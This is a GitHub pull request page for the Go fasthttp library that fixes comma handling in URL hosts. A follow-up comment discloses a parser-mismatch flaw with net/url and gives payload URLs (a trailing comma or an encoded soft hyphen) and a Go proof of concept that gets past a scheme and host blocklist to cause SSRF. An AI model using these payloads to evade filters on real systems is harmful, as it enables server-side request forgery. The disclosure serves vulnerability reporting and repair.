Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Don't allow , in host when using Client #1761

Merged
merged 1 commit into from Apr 29, 2024
Merged

Don't allow , in host when using Client #1761

merged 1 commit into from Apr 29, 2024

Conversation

erikdubbelboer
Copy link
Collaborator

When using a url like http://example.com,/ URI will parse "example.com," as host. HostClient then splits this by "," into multiple addresses and will connect to example.com. HostClient splitting the address by "," is only for direct use, not for use with Client.

When using a url like http://example.com,/ URI will parse "example.com,"
as host. HostClient then splits this by "," into multiple addresses and
will connect to example.com. HostClient splitting the address by "," is
only for direct use, not for use with Client.
@erikdubbelboer erikdubbelboer merged commit a8fa9c0 into master Apr 29, 2024
13 of 19 checks passed
@erikdubbelboer erikdubbelboer deleted the comma-host branch April 29, 2024 08:48
@zer0yu
Copy link

zer0yu commented May 8, 2024

After discussing the potential security issue with Erik and releasing a fix, we are now publicly disclosing the details of the vulnerability in this report.

The fasthttp library may send unintended requests when malformed URLs are provided

0x01 Summary

The fasthttp library is a widely used HTTP library in Go. However, it does not handle malformed URLs effectively. As a result, after parsing a malformed URL, the library may send HTTP requests to unexpected destinations, potentially leading to security vulnerabilities or unintended behavior in applications relying on this library for handling HTTP requests.

Despite developers potentially utilizing the net/url library to parse malformed URLs and implement blocklists to prevent HTTP requests to listed URLs, inconsistencies exist between how the net/url and fasthttp libraries parse URLs. These discrepancies can lead to the failure of defensive strategies, resulting in potential security threats such as Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE).

0x02 Details

2.1 Affected components

The vulnerable component is:

2.2 Attack scenario

A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URL is passed to the Requester for processing. The Requester is responsible for sending requests to the hostname specified by the URL.

This attack occurs when the Validator is the url.Parse function and the Requester is the fasthttp.Do function. An attacker can send a malformed URL to the Validator (e.g., http://vulndetector.com,/ ). After validation, the Validator finds that the URL is not on the blocklist (the hostname parsed by urlparse is empty). However, the Requester can still send requests to the domain with the hostname vulndetector.com.

image-20240419193437292

0x03 PoC

It is worth noting that the payload for this vulnerability and the range of versions affected may vary across different operating systems. The following is a collection of all payloads that may have a security impact.

Linux/macOS payloads:

http://vulndetector.com%C2%AD/
http://vulndetector.com,/

You can verify this issue using the sample program below. Simply replace the payload variable in the verify function with the payload mentioned above to conduct the test.

Notably, %C2%AD represents a soft hyphen, with the Unicode encoding U+00AD and the corresponding URL encoding. Soft hyphens are typically used to indicate potential line break positions within a word.

Typical Example PoC

package main

import (
	"fmt"
	"github.com/valyala/fasthttp"
	"net/url"
	"strings"
)

func safeURLOpener(inputLink string) (*fasthttp.Response, error) {
	blockSchemes := map[string]bool{
		"file": true, "gopher": true, "expect": true,
		"php": true, "dict": true, "ftp": true,
		"glob": true, "data": true,
	}
	blockHost := map[string]bool{
		"vulndetector.com": true,
	}

	parsedUrl, err := url.Parse(inputLink)
	if err != nil {
		fmt.Println("Error parsing URL:", err)
		return nil, err
	}

	inputScheme := parsedUrl.Scheme
	inputHostname := parsedUrl.Hostname()

	if blockSchemes[inputScheme] {
		fmt.Println("input scheme is forbidden")
		return nil, nil
	}

	if blockHost[inputHostname] {
		fmt.Println("input hostname is forbidden")
		return nil, nil
	}

	// Create request and response objects
	req := fasthttp.AcquireRequest()
	resp := fasthttp.AcquireResponse()
	defer fasthttp.ReleaseRequest(req)   // to reuse requests
	defer fasthttp.ReleaseResponse(resp) // to reuse responses

	req.SetRequestURI(inputLink)
	err = fasthttp.Do(req, resp)
	if err != nil {
		fmt.Println("HTTP request failed:", err)
		return nil, err
	}

	// Since we need the body outside this function, we create a copy of the response
	newResp := &fasthttp.Response{}
	resp.CopyTo(newResp)
	return newResp, nil
}

func verify() {
	payload := "http://vulndetector.com,/"
	result, err := safeURLOpener(payload)
	if err != nil {
		fmt.Println("Failed to open URL:", err)
		return
	}
	if result != nil {
		bodyBytes := result.Body()
		bodyString := string(bodyBytes)
		if result.StatusCode() == 200 && strings.Contains(bodyString, "FindVuln") {
			fmt.Println("payload find! ==>", payload)
		}
	}
}

func main() {
	verify()
}

0x04 Impact

The impact of this vulnerability is huge because the fasthttp library is widely used. In many cases, developers need a blocklist to block on some keywords. However, the vulnerability will help attackers bypass the protections that developers have set up for schemes and hosts. The vulnerability will lead to SSRF[1] and RCE[2] vulnerabilities in several cases.

According to RFC3986 [5], the URL format "http://vulndetector.com,/" and "http://vulndetector.com%C2%AD/" does not comply with the specified requirements. The relevant ABNF (Augmented Backus-Naur Form) notation for the standard is shown below.

authority   = [ userinfo "@" ] host [ ":" port ]
userinfo    = *( unreserved / pct-encoded / sub-delims / ":" )
host        = IP-literal / IPv4address / reg-name
port        = *DIGIT

unreserved  = ALPHA / DIGIT / "-" / "." / "_" / "~"
pct-encoded = "%" HEXDIG HEXDIG
sub-delims  = "!" / "$" / "&" / "'" / "(" / ")"
            / "*" / "+" / "," / ";" / "="

This security issue has previously been identified and assigned a CVE number. For more information, refer to [3] and [4].

Furthermore, it is worth noting that according to our tests, [urllib3](https://github.com/urllib3/urllib3) does not have this security vulnerability. Its implementation strictly follows the RFC3986 specification.

0x05 Mitigation

Special characters in user input can potentially lead to security vulnerabilities, so it is crucial to perform strict validation and sanitization before processing any requests. Carefully examine and handle these characters to mitigate risks and ensure the security of the system.

0x06 Reference

[1] https://cwe.mitre.org/data/definitions/918.html

[2] https://cwe.mitre.org/data/definitions/94.html

[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24329

[4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22243

[5] https://datatracker.ietf.org/doc/html/rfc3986

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants